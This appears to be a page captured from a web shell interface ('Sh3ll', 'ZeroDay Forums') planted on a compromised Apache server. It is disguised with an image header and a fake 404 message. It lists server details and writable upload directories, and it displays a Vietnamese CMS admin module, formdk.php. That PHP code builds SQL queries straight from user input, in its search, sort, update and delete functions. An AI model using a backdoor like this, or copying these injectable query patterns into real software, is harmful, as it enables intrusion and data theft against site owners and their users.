JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/mod/formdk.php
<?php
class formdk{
    var $path_image	= "upload/gallery/";
    var $max_fsize	=  1500000;
    function formdk (){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
            case 'list_vote': $this->goListvote(); break;

        }
    }


    function goList(){
        global $CORE, $DB, $smarty, $func, $print;
        $smarty->assign('module_name','Quản lý form đăng ký');
        $smarty->assign('title','Quản ly form đăng ký');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');
        $aCats = array();

        $where = " WHERE id<>'' ";
        $order = " ORDER BY time DESC ";
        $sort = $CORE->input['sort'];
        $fstatus  = $CORE->input['fstatus'];
        $fkeyword = trim($CORE->input['fkeyword']);
        $tinh_thanh = $CORE->input['tinh_thanh'];

        if($fkeyword!='')
        {
            $where .=  " AND (fullname LIKE '%".$fkeyword."%' OR baby_fullname LIKE '%".$fkeyword."%') ";
            $nsearch = 1;
        }
        if($tinh_thanh!=''){
            $where .= " AND tinh_thanh LIKE '%".$tinh_thanh."%' ";
        }
        if($sort!=''){
            $order = " ORDER BY ".$sort." DESC ";
        }
        $smarty->assign('nsearch',$nsearch);
        if($CORE->input['nosearch']){ unset($_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(id) as total FROM NNCCMS_formdk ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM NNCCMS_formdk ".$where." ".$order." LIMIT $from, $pageSize " );
        $arr_color = array('color:#FF0000','color:#00FF00','color:#0099FF','color:#333333','color:#663366');
        $stt = 1;
        while($row = $DB->fetch_row($query))
        {
            $row['stt'] = $stt+($pageNum-1)*$pageSize;
            if($row['img_pos1']==1){
                $row['img1'] =  $row['img1'];
            }
            if($row['img_pos2']==1){
                $row['img1'] =  $row['img2'];
            }
            if($row['img_pos3']==1){
                $row['img1'] =  $row['img3'];
            }
            if($row['img_pos4']==1){
                $row['img1'] =  $row['img4'];
            }
            if($row['img_pos5']==1){
                $row['img1'] =  $row['img5'];
            }
            $row['ftitle'] = $func->format_string($row['title_gallery']);
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
            $stt++;
        }
        $smarty->assign('list',$arr);
        $nav = $print->Pagination($totalPage,$pageNum,'pages','index.php?act=formdk&sort='.$sort.'&fstatus='.$fstatus.'&fkeyword='.$fkeyword.'&tinh_thanh='.$tinh_thanh);
        $smarty->assign('nav',$nav);
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $type = $CORE->input['type'];
            switch($type){
                case 'del':
                    $this->goDel($arr_mid);
                    break;
                default:
                    $this->goAction($arr_mid,$type);
                    break;
            }
        }
    }

    function goAction($arr_mid,$type){
        global $DB, $print;
        foreach($arr_mid as $val){
            switch($type){
                case 'active':
                    $DB->query("UPDATE NNCCMS_gallery SET status='1' WHERE id='".$val."'");
                    break;
                case 'deactive':
                    $DB->query("UPDATE NNCCMS_gallery SET status='0' WHERE id='".$val."'");
                    break;

            }
        }
        $print->refresh('index.php?act=album&status=edit_success');
    }
    function goDel($arr_id){
        global $CORE, $DB, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
        if(empty($arr_id)){
            $id	=	intval($CORE->input['id']);
            /*$query = $DB->query("SELECT * FROM NNCCMS_gallery WHERE id='".$id."'");
            $result = $DB->fetch_row($query);
            if($result['img1'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img1']);
            }
            if($result['img2'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img2']);
            }
            if($result['img3'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img3']);
            }
            if($result['img4'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img4']);
            }
            if($result['img5'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img5']);
            }
            $DB->query("DELETE FROM NNCCMS_gallery_vote WHERE id_gallery='$id'");*/
            $DB->query("DELETE FROM NNCCMS_formdk WHERE id='".$id."'");
            $print->refresh("index.php?act=formdk&status=del_success");
            exit();
        }else{
            foreach($arr_id as $val){
               /* $query = $DB->query("SELECT * FROM NNCCMS_gallery WHERE id='".$val."'");
                $result = $DB->fetch_row($query);
                if($result['img1'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img1']);
                }
                if($result['img2'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img2']);
                }
                if($result['img3'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img3']);
                }
                if($result['img4'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img4']);
                }
                if($result['img5'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['id'].'/'.$result['img5']);
                }*/
                //$DB->query("DELETE FROM NNCCMS_gallery_vote WHERE id_gallery='$val'");
                $DB->query("DELETE FROM NNCCMS_formdk WHERE id='".$val."'");
            }
        }
        $print->refresh("index.php?act=formdk&status=del_success");
    }
}
$run = new formdk();
?>

ZeroDay Forums Mini